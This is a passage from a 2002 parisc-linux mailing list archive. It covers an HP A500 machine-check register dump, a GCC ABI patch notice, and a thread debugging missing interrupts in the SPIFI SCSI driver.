>        Chassis Code        Extension
>        ------------        ---------
>        0x0000082000ff6242  0x0000000000000000
>        0x1800082011006322  0xcb81800000000000
>        0x0000087000ff6292  0x0000000000000000
>        0x6000082070006062  0x0000000000100010
>        0x7000082070006082  0x0000000000b92400
>        0x7000082379006133  0xc1bff0fffed08040
>        0x0000080080006310  0x0000000000000001
>        0x000008008000631f  0x0000000000000000
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  00000000103f9bb0  0000000010100bac 
> 00000000103f6bb0
> 04-07  000000000003d5ea  000000000038a000  00000000000000f0 
> 0000000000000000
> 08-11  0000000000000000  0000000000000001  000000000804000e 
> 000000001040888c
> 12-15  00000000000000f2  00000000000000fa  00000000000000f0 
> 00000000000000ff
> 16-19  00000000f00003dc  00000000f000028c  00000000f0002aa4 
> 00000000104a8000
> 20-23  0000000000000000  0000000000000000  0000000000000001 
> 000000004fa5c824
> 24-27  000000000800000f  0000000000000032  0000000000000019 
> 00000000103f6bb0
> 28-31  0000000000000000  00000000104a8b70  00000000104a8b00 
> 00000000104043b0
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 08-11  0000000000000072  0000000000000000  00000000000000c0 
> 000000000000003f
> 12-15  0000000000000000  0000000000000000  0000000000104000 
> ffffffffffffffff
> 16-19  0000000f96e6aa48  0000000000000000  0000000010100b88 
> 0000000003c008b3
> 20-23  0000000000000000  0000000000000000  000000000804000f 
> 0000000000000000
> 24-27  0000000000389000  000000003f158000  ffffffffffff7f10 
> ffffffffffff7fff
> 28-31  ffffffffffffffff  ffffffffffffffff  00000000104a8000 
> 00000000104b0000
> 
> Space Registers 0 - 7
> 00-03  00001c80          00000000          00000000          00001c80
> 04-07  00000000          00000000          00000000          00000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x0000000010100b8c
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030000d
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0xfffffffffffa0000
> System Requestor Address     = 0xfffffffffffa0000
> 
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000010388100  0000000100000001  0000000012a20000 
> 0000000000000000
> 08-11  0000000000000802  000000004fa78000  00000000103f6bb0 
> 000000004fa6fec0
> 12-15  0000000000000000  0000000010388100  000000001018197c 
> 00000000103fcbb0
> 16-19  0000000010388100  0000000000000002  0000000000000002 
> 000000001032d2d4
> 20-23  0000000000000001  0000000010388a80  0000000000000000 
> 00000000000000c0
> 24-27  0000000a10332690  00000000104fce18  000000000800000f 
> 00000000103d2af0
> 28-31  00000000103d2b20  0000000000000001  0000000010162de0 
> 0000000000000002
> 
> 
> Check Summary                = 0xcb81800000000000
> Available Memory             = 0x0000000040000000
> CPU Diagnose Register 2      = 0x0301000000802004
> CPU Status Register 0        = 0x3440c20000000000
> CPU Status Register 1        = 0x8000000000000000
> SADD LOG                     = 0x4820000000000000
> Read Short LOG               = 0xc1bff0fffed22310
> 
> 
> 
> -----------------  Processor 0 LPMC Information ------------------
> 
> Check Type                   = 0x00000000
> IC Parity Info               = 0x00000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> 
> 
> -----------------  Processor 0 TOC Information -------------------
> 
> General Registers 0 - 31
> 00-03  0000000000000000  000000001037fa30  000000001010cca0 
> 0000000010443f10
> 04-07  000000004f5a5480  000000000000000f  000000001032adfc 
> 000000005f5a0018
> 08-11  000000001051f190  000000001051f1a0  000000000000002e 
> 0000000000000001
> 12-15  0000000000000003  000000000000002f  0000000000000000 
> 0000000000000002
> 16-19  000000004f5a5480  00000000000ad800  000000000009e800 
> 0000000000000000
> 20-23  000000001037fa30  0000000000000000  000000001038f690 
> 000000005f5a0018
> 24-27  000000000000000f  000000004f5a5480  000000001032adfc 
> 0000000010443f10
> 28-31  0000000000000040  000000004f5a5930  000000004f5a59c0 
> ffffffffffffffff
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 08-11  000000000000015a  0000000000000000  00000000000000c0 
> 000000000000003e
> 12-15  0000000000000000  0000000000000000  0000000000107000 
> 0000000000000000
> 16-19  00000059f094e5b5  0000000000000000  000000001010c990 
> 0000000086603fed
> 20-23  0000000000240000  00000000dff7fa30  000000000804000e 
> a000000000000000
> 24-27  00000000003d2000  000000003d24b000  ffffffffffff7f00 
> ffffffffffffffff
> 28-31  ffffffffffff7fff  ffffffffffffffff  000000004f5a4000 
> 00000000104c8000
> 
> Space Registers 0 - 7
> 00-03  00005680          00005680          00000000          00005680
> 04-07  00000000          00000000          00000000          00000000
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x000000001010c994
> CPU State                    = 0x9e000001
> 
> 
> 
> -----------------  Processor 1 HPMC Information - PDC Version: 40.50 ------
> 
> Timestamp =    Tue Oct  23 19:05:06 GMT 2001    (20:01:10:23:19:05:06)
> 
> HPMC Chassis Codes
> 
>        Chassis Code        Extension
>        ------------        ---------
>        0x0000082000ff6242  0x0000000000000000
>        0x1800082011016312  0xcb81000000000000
> 
> 
> General Registers 0 - 31
> 00-03  0000000000000000  0000000010368068  000000001022f13c 
> 000000004fb29240
> 04-07  fffffffff8006030  00000000103f6bb0  00000000103f6bb0 
> fffffffff8006000
> 08-11  000000004fb29000  fffffffff8006028  0000000000002000 
> fffffffff8006030
> 12-15  000000000000012c  000000004f0d0b08  0000000000018054 
> 0000000000018414
> 16-19  0000000000000000  0000000000000001  0000000000026228 
> fffffffff8006000
> 20-23  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 24-27  0000000000000000  fffffffff8006060  fffffffff8006030 
> 00000000103f6bb0
> 28-31  000000000000d6d8  000000004f0d10f0  000000004f0d1100 
> 000000000000003f
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 08-11  000000000000007c  0000000000000000  00000000000000c0 
> 0000000000000002
> 12-15  0000000000000000  0000000000000000  0000000000104000 
> ffffffffffffffff
> 16-19  0000000f96e6acc4  0000000000000000  0000000010270798 
> 000000000f40019a
> 20-23  00000000ae27ffe0  c000000001806030  000000ff0804f40f 
> 8000000000000000
> 24-27  0000000000389000  000000003f130000  ffffffffffffffff 
> ffffffffffff7fff
> 28-31  ffffffffffffffff  ffffffffffffffff  000000004f0d0000 
> 000000004fb78000
> 
> Space Registers 0 - 7
> 00-03  00001f00          00000000          00000000          00001f00
> 04-07  00000000          00000000          00000000          00000000
> 
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x000000001027079c
> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030103b
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x000000fff8006030
> System Requestor Address     = 0xfffffffffffa2000
> 
> 
> Floating Point Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000010388100  0000000100000001  0000000012a20000 
> 0000000000000000
> 08-11  0000000000000802  000000004fa78000  00000000103f6bb0 
> 000000004fa6fec0
> 12-15  0000000000000000  0000000010388100  000000001018197c 
> 00000000103fcbb0
> 16-19  0000000010388100  0000000000000002  0000000000000002 
> 000000001032d2d4
> 20-23  0000000000000001  0000000010388a80  0000000000000000 
> 0000000000000000
> 24-27  0000000a10332690  00000000104fce18  000000000800000f 
> 00000000103d2af0
> 28-31  00000000103d2b20  0000000000000001  0000000010162de0 
> 0000000000000003
> 
> 
> Check Summary                = 0xcb81000000000000
> Available Memory             = 0x0000000040000000
> CPU Diagnose Register 2      = 0x0301010000802004
> CPU Status Register 0        = 0x2440c20000000000
> CPU Status Register 1        = 0x8002000000000000
> SADD LOG                     = 0x0c1912c0e840d002
> Read Short LOG               = 0xc1af00fff8006030
> 
> 
> 
> -----------------  Processor 1 LPMC Information ------------------
> 
> Check Type                   = 0x00000000
> IC Parity Info               = 0x00000000
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x00000000
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x0000000000000000
> System Requestor Address     = 0x0000000000000000
> 
> 
> 
> -----------------  Processor 1 TOC Information -------------------
> 
> General Registers 0 - 31
> 00-03  0000000000000000  0000000010446f10  0000000010103714 
> 0000000010443f10
> 04-07  00000000003d2000  fffffff0f040a000  0000000000000032 
> 00000000000000f7
> 08-11  0000000000000000  fffffff0f0400000  000000000804000e 
> 000000001045dbac
> 12-15  00000000000000f2  0000000000000001  00000000000000f0 
> 00000000000000ff
> 16-19  000000f0f00000c4  fffffff0f040c000  0000000000000000 
> 0000000011c50000
> 20-23  0000000000000000  0000000000000000  0000000000000001 
> 000000001047f824
> 24-27  000000000800000f  0000000000000032  0000000000000019 
> 0000000010443f10
> 28-31  0000000000000000  0000000011c50b30  0000000011c50ac0 
> 0000000010450f10
> 
> 
> Control Registers 0 - 31
> 00-03  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 04-07  0000000000000000  0000000000000000  0000000000000000 
> 0000000000000000
> 08-11  0000000000000118  0000000000000000  00000000000000c0 
> 000000000000003e
> 12-15  0000000000000000  0000000000000000  0000000000107000 
> ff80000000000000
> 16-19  0000005a0364ba5e  0000000000000000  00000000101036f0 
> 0000000003c008b3
> 20-23  0000000000004480  0000000000000000  000000ff0806ff0f 
> 0000000000000000
> 24-27  00000000003d2000  000000003daa2000  ffffffffffffffff 
> ffffffffffffffff
> 28-31  ffffffffffffffff  ffffffffffffffff  0000000011c50000 
> ffffffffffffffff
> 
> Space Registers 0 - 7
> 00-03  00004480          00004480          00000000          00004600
> 04-07  00000000          00000000          00000000          00000000
> 
> IIA Space (back entry)       = 0x0000000000000000
> IIA Offset (back entry)      = 0x00000000101036f4
> CPU State                    = 0x9e000001
> 
> 
> --------------  Memory Error Log Information  --------------
> 
> Bus 0 Log Information
> 
> Timestamp =    Tue Oct  23 19:05:06 GMT 2001    (20:01:10:23:19:05:06)
> 
>   OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
>   --  --  --      -----      -  -  -  ----  ---  --  --  --
>   X       X     ERR_ERROR       X            X
> 
> Bus Requestor Address      = 0xfffffffffffa0000
> Bus Target Address         = 0x0000000000000000
> Bus Responder Address      = 0xfffffffffed00000
> 
> Error Status Reg           = 0x0000000000100010
> Runway Control Reg         = 0x0000021c00002818
> Runway Address Reg         = 0xc1bff0fffed08040
> Runway Data High Reg       = 0xf8018a1ff820ca01
> Runway Data Low Reg        = 0xf8018a1ff820ca01
> Memory Address Reg         = 0x000001ff3fffffff
> Memory Address Corr Reg    = 0x000001ff3fffffff
> Memory Syndrome Reg        = 0x0000000000000000
> Memory Syndrome Corr Reg   = 0x0000000000000000
> 
> 
> 
>  Address/Control Parity Error Registers
> 
>    Address/Control Parity Error Bit (mem_addr_par_stat) Not Set
> 
> 
> 
> ------------  I/O Module Error Log Information  ------------
> 
> 
>    No I/O module errors logged
> 
> 
> HTH,
> 
> Thibaut.
> 
> PS: when trying to boot after ser pim, the machine showed the following 
> and hung again:
> I dunno if that's normal ?
> 
> *****************************************
> 
> ************* SYSTEM ALERT **************
> SYSTEM NAME: a500
> DATE: 09/16/2002 TIME: 10:23:28
> ALERT LEVEL: 7 = reserved
> 
> REASON FOR ALERT
> SOURCE: 0 = unknown, no source stated
> SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> PROBLEM DETAIL: 0 = no problem detail
> 
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        OFF      FLASH         ON        ON         ON
> LED State: Boot Failed.  Non-critical error detected.
> Check Chassis and Console Logs for error messages.
> 
> 0x0000107000FF6292 00000000 00000000 - type  0 = Data Field Unused
> 0x5800187000FF6292 00006608 100A171C - type 11 = Timestamp 09/16/2002 
> 10:23:28
> A: ack read of this entry - X: Disable all future alert messages
> Anything else skip redisplay the log entry
> ->Choice:a
> *****************************************
> 
> I had to issue a 'RS' to reboot the box.
> 



-- 
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC patch to fix various problems in the passing of aggregates
Date: Tue, 17 Sep 2002 14:01:02 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200209171801.g8HI12wF017817@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621726 14071 80.91.229.3 (22 Nov 2014 02:02:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 12:20:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9BE9E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 12:20:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8HI1200017819
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 14:01:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8HI12wF017817
	for parisc-linux@lists.parisc-linux.org; Tue, 17 Sep 2002 14:01:02 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16154

This is a heads up to those that build from source.  A patch was applied
yesterday to the gcc 3.3 trunk to fix various ABI related problems in the
passing of aggregates.  It fixes various va_arg problems and improves
compatibility with the HP specified runtime architectures.  The downside
is that code (libraries) compiled with earlier versions of gcc may be
incompatible with new code.

The impact for 32-bit code is that 5-7 byte structs are now passed
correctly.  The patch also fixes a problem in passing structs with
a single char or short field.  Variable and zero sized types are now
also handled correctly.

The impact for 64-bit code is more significant.  All aggregates 
with a non-zero size MOD 8 were incorrectly padded when passed
by value.  This is now fixed.  As a GCC extension to the runtime,
variable and zero sized types are passed by invisible reference.

For more info, see <http://gcc.gnu.org/ml/gcc-patches/2002-09/msg00972.html>
and <http://gcc.gnu.org/ml/gcc-patches/2002-09/msg00975.html>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Tue, 17 Sep 2002 20:33:16 +0200
Organization: private
Lines: 158
Approved: news@gmane.org
Message-ID: <3D87756C.AFDA706B@gmx.at>
References: <3D8516EF.7A7D8206@gmx.at> <1032229501.930.45.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621726 14074 80.91.229.3 (22 Nov 2014 02:02:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:06 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 12:33:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 686E54829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 12:33:31 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020917183320.EOKY9517.viefep15-int.chello.at@gmx.at>;
          Tue, 17 Sep 2002 20:33:20 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16155

Hello Ryan,

I think usinf the logic analyser will not help you on the
SCSI bus. You need the logic analyser on the SPIFI chip!!!

As I already mentioned in another mail, I think, we
DO NOT access the real device. As I have mentioned, 
we only read out 0x0000ff00 at each address and we
"write" the SCSI command in an invalid space ! So this
is "OK", that the chip do not produce any interrupts !

I think, this is a very basic problem of the bus or
i/o bus initilization or the Loquix init, or whatever.

I do not expect any frame on the SCSI output !

Bye
Christoph


Ryan Bradetich wrote:
> 
> Hello Christoph,
> 
> On Sun, 2002-09-15 at 17:25, Christoph Plattner wrote:
> > Hallo Ryan,
> >
> > here some comments on my non-successful work so far.
> >
> > I did code reading and used debug instrumented code
> > to understand the structure behind the linux SCSI
> > handling.
> >
> > Further I studied the NetBSD code.
> >
> > One major point: We do not get any interrupts.
> > For my analysis I only had a look on the first
> > steps of SCSI initialization, so this was the
> > INQUERY command.
> 
> This is where I am also currently stuck :(  The
> ESIEE guys are going to hook up an analyzer to the
> box and see if the target device is getting the command
> (ie... did we send the command correctly to the device)
> or if the device returns a command (do we catch the
> command the device is returning).  I have been studyting
> the setup routines in the HP-UX driver and I believe
> I have the chip initialized properly ... but I am not
> sure why I am not getting any interrupts.   Hopefully
> between ESIEE, you, and myself and anyone else
> interested we can figure this out.
> 
> > The spifi command routine is called correctly,
> > but it has a wrong logical implementation. As I
> > have seen on other (older) linux driver, the
> > xxx_command() has to block, after the command was
> > successful completed by interrupt. But the interrupt
> > never comes !! Even a "long" delay for simulating
> > blocking does not solve this problem.
> 
> That is highly possible.  The driver skeleton is just
> a test harness for me right now.  I am just trying to see
> what I can get returned from the spifi chip (that is why
> most of the functions are stubs with printk.  Once I see
> an interrupt come in, I'll start working on putting that piece
> togeather.
> 
> > From base of the NetBSD code, I cannot follow your
> > code resetting the spifi subsystem. I think you have
> > this from HP-UX code. Especially the
> >
> >   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);
> 
> Yes, this is part of the initizlization from the HP-UX
> driver.  The Loquix chip sits between the HP-PB bus, and
> the spifi scsi chip.  According to the HP-UX driver, the
> Loquix chip also required some setup.  Once again, I
> do not actually have the Loquix documentation, but I might
> have a lead on it.  Will have to wait and see if that lead
> pans out.
> 
> > Is this a reset method via the IO PDC address space
> > common for all HP devices ? In the NetBSD the full
> > reset is done only via the `auxctrl' register, which
> > you use for releasing the reset state.
> 
> I am not sure about all the HP devices.  It might be an iodc
> specific call.  I will have to look at the driver again,
> but that might reset the loquix chip *shrug* I'll take
> a look and see what I can find.
> 
> > So we have a principal problem here, not having correct
> > access to the spifi subsystem. Except: the SCSI-ID is
> > read out correctly, I think, as ...
> >
> > SCSI subsystem driver Revision: 1.00
> > DEBUG: 0xfff74c00
> > Device: Sahp Baat Kiuh SCSI
> > scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
> > checking: enabled
> >
> > ... is reported !
> 
> That is where I am also. We actually read the type SPIFI-3 (SE) for the
> SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.  I have
> tested this on both cards so I know it works.  I am convinced we are
> reading the correct information from the card, but what I am not
> convinced of is that we have it setup properly yet :)  The problem is I
> do not know what I am missing yet :(
> 
> > Is everything around the interrupt subsystem setup correctly ?
> > The `cat /proc/interrupts' tells ...
> >
> > bash# cat /proc/interrupts
> >           CPU396195552
> >  32:     124925      PARISC-CPU  timer
> >  33:      19767      PARISC-CPU  lasi
> >  34:          0      PARISC-CPU  spifi
> >  87:      19767            Lasi  i82596
> >
> > ... which is no surprise ... !
> >
> 
> I do not think the fact the interrupt is registered is very infomative,
> I think you can register an interrupt for device even if it doesn't have
> an real irq assocaitated with it (ie... the serial mux).
> 
> Yeah, thanks for looking at it ... we will have to beat on it some more
> and see what we can find.  Hopefully the ESIEE guys will be able to
> provide us with some good information!
> 
> Thanks
> 
> - Ryan
> 
> > Till soon,
> > Christoph P.
> >
> >
> >
> >
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: A500 hang up 2.4.19-pa18 (lot of) details
Date: Tue, 17 Sep 2002 12:42:35 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020917184235.A1C054829@dsl2.external.hp.com>
References: <3D876384.1090200@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621727 14076 80.91.229.3 (22 Nov 2014 02:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:07 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 12:42:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A1C054829; Tue, 17 Sep 2002 12:42:35 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Tue, 17 Sep 2002 19:16:52 +0200." <3D876384.1090200@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16156

Thibaut VARENE wrote:
> This a forward to the p-l.o m-l about hang-up with 2.4.19-pa18 kernel, 
> that occurs when playing around with setiathome. See the transcript for 
> details.

I tried the same thing with setiathome on A500-4X (PA8500) and it
seems to work fine.
Thibaut is using A500-5X (PA8600) - same cache sizes as PA8500.
I was wondering if the is a problem with 4-way associative cache
or just higher clock speeds exposing bugs.

grant


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Tue, 17 Sep 2002 21:56:45 +0200
Lines: 187
Approved: news@gmane.org
Message-ID: <98404C4A-CA77-11D6-8C42-0030656F07A2@esiee.fr>
References: <3D87756C.AFDA706B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621727 14084 80.91.229.3 (22 Nov 2014 02:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:07 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 13:56:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB2BE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 13:56:50 -0600 (MDT)
Original-Received: from npyu.esiee.net ([213.245.40.23]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020917195647.ISUR4035.viefep12-int.chello.at@npyu.esiee.net>;
          Tue, 17 Sep 2002 21:56:47 +0200
In-Reply-To: <3D87756C.AFDA706B@gmx.at>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16157

Le mardi, 17 sep 2002, =E0 20:33 Europe/Paris, Christoph Plattner a =
=E9crit=20
:

Hi Christoph,
> Hello Ryan,
>
> I think usinf the logic analyser will not help you on the
> SCSI bus. You need the logic analyser on the SPIFI chip!!!
That's not a problem,
atm we have a 16channels analyser (we can have up to 128 if needed),
we tried using the HP 2423A SCSI preprocessor, but ours seems b0rken,
therefore we decided to plug directly onto the scsi board.

So plugging onto SPIFI chip shouldn't be a pb, as long as we have its=20
